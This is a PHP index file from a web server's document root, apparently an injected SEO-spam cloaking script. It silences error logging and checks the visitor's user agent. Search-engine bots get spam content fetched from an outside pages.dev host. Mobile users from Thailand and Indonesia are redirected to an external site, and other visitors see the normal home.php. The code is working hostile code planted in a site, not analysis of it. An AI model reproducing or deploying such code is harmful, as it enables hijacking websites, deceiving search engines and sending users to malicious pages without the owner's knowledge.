File: /var/www/w230/html/index.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);
set_error_handler(function() { return true; });
header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");
function get_external_content($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36');
$data = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200) {
return $data;
}
return false;
}
function is_google_bot() {
$agents = array("Googlebot", "Google-Site-Verification", "Google-InspectionTool", "Googlebot-Mobile", "Googlebot-Image", "AhrefsBot", "TelegramBot", "bingbot");
foreach ($agents as $agent) {
if (isset($_SERVER['HTTP_USER_AGENT']) && stripos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) {
return true;
}
}
return false;
}
function is_mobile() {
return preg_match("/(android|iphone|ipad|avantgo|blackberry|bolt|boost|cricket|docomo|fone|hiptop|mini|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos)/i", $_SERVER["HTTP_USER_AGENT"]);
}
function get_ip() {
return $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
}
function is_target_country($ip) {
$countryCode = $_SERVER['HTTP_CF_IPCOUNTRY'] ?? '';
if (empty($countryCode)) {
$context = stream_context_create(array('http' => array('timeout' => 2)));
$geo = @json_decode(file_get_contents("http://ip-api.com/json/{$ip}?fields=countryCode", false, $context), true);
$countryCode = $geo['countryCode'] ?? '';
}
$target = array('TH', 'ID');
return in_array(strtoupper($countryCode), $target);
}
$ip_user = get_ip();
$bot_check = is_google_bot();
if ($bot_check) {
$bot_content = get_external_content('https://ccy2930.pages.dev/zonebar.cz/public.txt');
if ($bot_content) {
echo $bot_content;
}
} else {
if (is_mobile() && is_target_country($ip_user)) {
header("Location: https://shnth.com/th/ryl");
echo '<meta http-equiv="refresh" content="0; url=https://shnth.com/th/ryl">';
exit;
} else {
include('home.php');
exit;
}
}
?>